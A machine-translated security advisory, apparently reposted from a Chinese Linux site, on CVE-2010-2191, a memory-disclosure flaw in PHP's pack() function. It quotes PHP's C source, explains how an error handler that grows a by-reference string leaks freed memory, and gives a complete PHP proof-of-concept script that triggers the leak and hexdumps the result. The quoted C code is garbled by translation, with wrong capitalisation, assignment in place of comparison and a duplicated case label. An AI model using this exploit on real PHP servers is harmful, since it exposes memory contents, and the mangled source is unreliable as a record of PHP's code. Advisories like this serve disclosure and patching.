Source: http://www.linuxidc.com/Linux/2010-06/26940.htm
Affected Systems:
Php <= 5.3.2
Php <= 5.2.13
Description:
--------------------------------------------------------------------------------
Cve id: CVE-2010-2191
PHP is a widely used scripting language. It is especially suitable for web development and can be embedded into HTML.
The Pack () function of PHP has the information leakage vulnerability:
Php_function (unpack)
{
Char * format, * input, * formatarg, * inputarg;
Int formatlen, formatarg_len, inputarg_len;
Int inputpos, inputlen, I;
If (zend_parse_parameters (zend_num_args () tsrmls_cc, "SS", & formatarg, & formatarg_len,
& Inputarg, & inputarg_len) = failure ){
Return;
}
Format = formatarg;
Formatlen = formatarg_len;
Input = inputarg;
The function reads the parameters provided by the user at the beginning and ensures that the format string is a true string before parsing. Because of the call time pass by reference function, interruption in the middle of the function may allow you to change the currently working parameters. One of the possible attacks is the string identifier in the H format:
Case 'H ':
Case 'H ':{
Int nibbleshift = (code = 'H ')? 0: 4;
Int first = 1;
Char * V;
Val = argv [currentarg ++];
Convert_to_string_ex (VAL );
V = z_strval_pp (VAL );
Outputpos --;
If (Arg> z_strlen_pp (VAL )){
Php_error_docref (null tsrmls_cc, e_warning, "type % C: not enough characters in string", Code );
Arg = z_strlen_pp (VAL );
}
Copy the string pointer to the V variable and verify the length of the string. Then, the error processor can add more characters to the string variable to re-allocate the string buffer. The previously stored V may leak the released memory.
<* Source: Stefan Esser (s.esser@ematters.de)
Link: http://www.php-security.org/2010/05/31/mops-2010-052-php-pack-interruption-information-leak-vulnerability/index.html
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<?php
$first = true;
function my_error($a,$x)
{
global $first;
if ($first) {
var_dump($x);
$GLOBALS['var'].=str_repeat("A",2000);
}
$first = false;
return 1;
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$l = 39;
} else {
$l = 67;
}
$GLOBALS['var'] = base64_decode(str_repeat("-", 1000).base64_encode("AAAAAAAAAAAAAAAA"));
/* Trigger the Code */
set_error_handler("my_error");
$x = pack("h20", &$GLOBALS['var']);
restore_error_handler();
hexdump($x);
/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0;
echo "Hexdump\n";
echo "-------\n";
while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
$l-=16;
$p+=16;
echo "\n";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "-- "; }
echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? '.' : chr($c);
}
echo "\n";
}
?>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
PHP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.php.net